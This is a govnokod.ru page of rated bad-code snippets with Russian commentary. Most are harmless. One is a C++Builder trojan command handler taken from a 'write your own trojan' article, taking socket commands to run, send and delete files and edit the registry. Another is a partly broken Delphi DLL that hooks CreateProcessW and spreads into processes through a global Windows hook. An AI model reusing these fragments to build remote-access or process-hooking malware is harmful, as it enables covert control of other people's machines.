- 1
- 2
// Мне опять кажется, или скобки у !empty лишние?
$id = (!empty($id)) ? $id : (int)$this->getState('message.id');
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+147
// Мне опять кажется, или скобки у !empty лишние?
$id = (!empty($id)) ? $id : (int)$this->getState('message.id');
http://ru2.php.net/manual/ru/language.operators.precedence.php
+135
internal enum IsScanned
{
Create = 0,
Scan = 1,
Complete = 2,
Error = 3,
NoAccess = 4,
}
...
public int IsScanned { get; set; }
...
if (details.IsScanned != (int)IsScanned.Create)
+9
#define FindElem( L ) _FindElem( [=] (VEC4 iter) -> bool { return (L); } )
На что только не пойдут люди, чтобы писать
VEC4* pv = vecs.FindElem( iter.x==1.0f );
+73
private void CopyFiles(String dirName) {
InputStream is = this.getClass().getResourceAsStream(
"/18.xslt");
OutputStream os;
try {
os = new FileOutputStream(dirName + "/18.xslt");
byte[] buffer = new byte[4096];
int length;
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
is = this.getClass().getResourceAsStream(
"/13_02.tif");
os = new FileOutputStream(dirName + "/13_02.tif");
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
is = this.getClass().getResourceAsStream("/13_02.xslt");
os = new FileOutputStream(dirName + "/13_02.xslt");
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
is = this.getClass().getResourceAsStream(
"/13_02_t.tif");
os = new FileOutputStream(dirName + "/13_02_t.tif");
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
is = this.getClass().getResourceAsStream(
"/13_02_t.xslt");
os = new FileOutputStream(dirName + "/13_02_t.xslt");
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
} catch (FileNotFoundException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
+13
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
}
}
NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html
−115
SELECT `1`,`4` FROM `kada-region` WHERE `2` = "SAV" ORDER BY `7`
Комментариев нет. Кроме нескольких, типы столбцов int. Догадайся что есть что.
+143
<?php
function get_md5($filename){
return md5_file($filename)
}
echo "get_md5($_POST)";
?>
Только начал php, посоветуйте литературу Х)
+178
// Performance optimization: http://jsperf.com/apply-vs-call-vs-invoke
switch (self ? -1 : args.length) {
case 0: return fn();
case 1: return fn(args[0]);
case 2: return fn(args[0], args[1]);
case 3: return fn(args[0], args[1], args[2]);
case 4: return fn(args[0], args[1], args[2], args[3]);
case 5: return fn(args[0], args[1], args[2], args[3], args[4]);
case 6: return fn(args[0], args[1], args[2], args[3], args[4], args[5]);
case 7: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6]);
case 8: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7]);
case 9: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8]);
case 10: return fn(args[0], args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9]);
default: return fn.apply(self, args);
}
Привет от Angular!
Данный фрагмент присутствовал в официальном коде фреймворка с первой stable-версии и был бесчеловечно вырезан буквально пару месяцев назад (с 1.2.5 релиза).
https://ajax.googleapis.com/ajax/libs/angularjs/1.2.4/angular.js
+115
library ch;
uses
Windows,SysUtils,controls,graphics,extctrls,shellapi,Unit1 in 'Unit1.pas' {Form1};
type
NTStatus = cardinal;
far_jmp = packed record
push: byte;
PProc: pointer;
ret: byte;
end;
OldCode = packed record
one: dword;
two: dword;
end;
const
STATUS_ACCESS_DENIED = NTStatus($C0000022);
STATUS_SUCCESS = NTStatus($00000000);
function CreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: dword; lpEnvironment: pointer;
lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
external 'kernel32.dll' name 'CreateProcessW';
var
CPA: pointer;
OldCPA: OldCode;
JmpCPA: far_jmp;
b:cardinal;
procedure UnHook;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
end;
function FalseCreateProcessW():boolean;
begin
SetLastError(ERROR_ACCESS_DENIED);
result:=falsecreateprocessw
end;
function TrueCreateProcessW(lpApplicationName: PWideChar;
lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
Result := CreateProcessW(lpApplicationName, lpCommandLine,
lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);
end;
function NewCreateProcessW(lpApplicationName: PWideChar;
lpCommandLine: PWideChar; lpProcessAttributes, lpThreadAttributes
: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: dword;
lpEnvironment: pointer; lpCurrentDirectory: PWideChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): bool; stdcall;
var
reason:string;
begin
result:=true;// подавляем ошибку "Доступ запрещен"
// если что-то нам не понравилось, выходм
else
// или выполняем командную строку
Result := TrueCreateProcessW(lpApplicationName, lpCommandLine,
lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags,
lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;
procedure SetHook;
begin
CPA := GetProcAddress(getmodulehandle('kernel32.dll'), 'CreateProcessW');
ReadProcessMemory(INVALID_HANDLE_VALUE, CPA, @OldCPA, sizeof(OldCode), b);
JmpCPA.push := $68;
JmpCPA.PProc := @NewCreateProcessW;
JmpCPA.ret := $C3;
WriteProcessMemory(INVALID_HANDLE_VALUE, CPA, @JmpCPA, sizeof(far_jmp), b);
end;
function MessageProc(code: integer; wParam: word; lParam: longint)
: longint; stdcall;
begin
Result := CallNextHookEx(0, code, wParam, lParam);
end;
procedure SetGlobalHookProc();
begin
SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
sleep(infinite);
end;
procedure SetGlobalHook();
var
//hMutex: dword;
TrId: dword;
begin
CreateMutex(nil, False, 'Vhook@016');
if GetLastError = 0 then
CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, trid)
end;
procedure DLLEntryPoint(dwReason: dword);
begin
case dwReason of
DLL_PROCESS_ATTACH:
begin
SetHook;
SetGlobalHook;
end;
DLL_PROCESS_DETACH:
begin
UnHook;
end;
end;
end;
begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.+37
long* Service::qByteToLongArray(QByteArray qba, long r)
{
long* larr = new long[r];
char *carr;
carr = (char*)larr;
int len = r * sizeof(long);//length in bytes
for(int i=0; i < len; i++)
carr[i] = qba.at(i);
return larr;
}
QByteArray Service::longToQByteArray(long **larr2, long r, long c)
{
QByteArray qba;// = new QByteArray();
char **carr2;
carr2 = (char**)larr2;
int rlen = c * sizeof(long);//length of row in bytes
for(int i=0; i < r; i++){
qba.append(carr2[i], rlen);//add next row of matrix to the QByteArray
}
return qba;
}
Нашли это, только когда собрали под x64.